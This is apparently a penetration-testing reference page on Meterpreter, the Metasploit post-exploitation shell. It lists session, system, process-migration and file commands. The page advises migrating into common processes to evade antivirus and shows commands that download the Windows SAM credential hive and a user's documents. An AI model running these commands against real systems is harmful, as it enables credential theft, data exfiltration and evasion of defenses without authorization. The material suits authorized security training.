Meterpreter
Overviewβ
Meterpreter is the primary post-exploitation shell in MSF. It runs entirely in memory, communicates over the established C2 channel (not a new connection), and provides a rich command set for host interaction.
Once a session opens, interact with it:
msf6 > sessions
msf6 > sessions -i <ID>
meterpreter >
Core System Commandsβ
meterpreter > sysinfo # OS, hostname, architecture, domain
meterpreter > getuid # Current user context
meterpreter > getpid # Current process ID
meterpreter > ps # List running processes (PID, name, user, path)
meterpreter > pwd # Print working directory
meterpreter > ls # List directory contents
meterpreter > cd <PATH> # Change directory
meterpreter > env # Print environment variables
meterpreter > getenv COMPUTERNAME # Single environment variable
Process Migrationβ
Migrating Meterpreter to another process moves the session out of your delivery process (which may be suspicious or short-lived) into a stable, legitimate one.
meterpreter > ps # Find target PID
meterpreter > migrate <PID> # Migrate to that process
meterpreter > migrate -N explorer.exe # Migrate by name (first match)
meterpreter > migrate -N svchost.exe # Common stable target
Migrate as soon as a session opens - before doing anything else. Your delivery binary (e.g., a dropped .exe) may be killed by AV shortly after execution. Migrating moves you into a protected, pre-existing process.
Good Migration Targetsβ
| Process | Notes |
|---|---|
explorer.exe | User desktop process - interactive, long-lived |
svchost.exe | System service host - extremely common, low suspicion |
RuntimeBroker.exe | Windows 10/11 system process |
notepad.exe | Only if spawned by target user - short-lived risk |
Avoid migrating into processes owned by SYSTEM if your current token is a standard user - the migrate will fail. Match privilege level.
File Operationsβ
meterpreter > upload /local/path/file.exe C:\\Temp\\file.exe
meterpreter > download C:\\Windows\\System32\\config\\SAM /tmp/SAM
meterpreter > download "C:\\Users\\Administrator\\Documents\\*.docx" /tmp/docs/
meterpreter > mkdir C:\\Temp\\newdir
meterpreter > rm C:\\Temp\\file.exe
meterpreter > mv C:\\Temp\\old.exe C:\\Temp\\new.exe
meterpreter > cat C:\\Windows\\System32\\drivers\\etc\\hosts
meterpreter > edit C:\\Temp\\file.txt # Opens vi on the remote file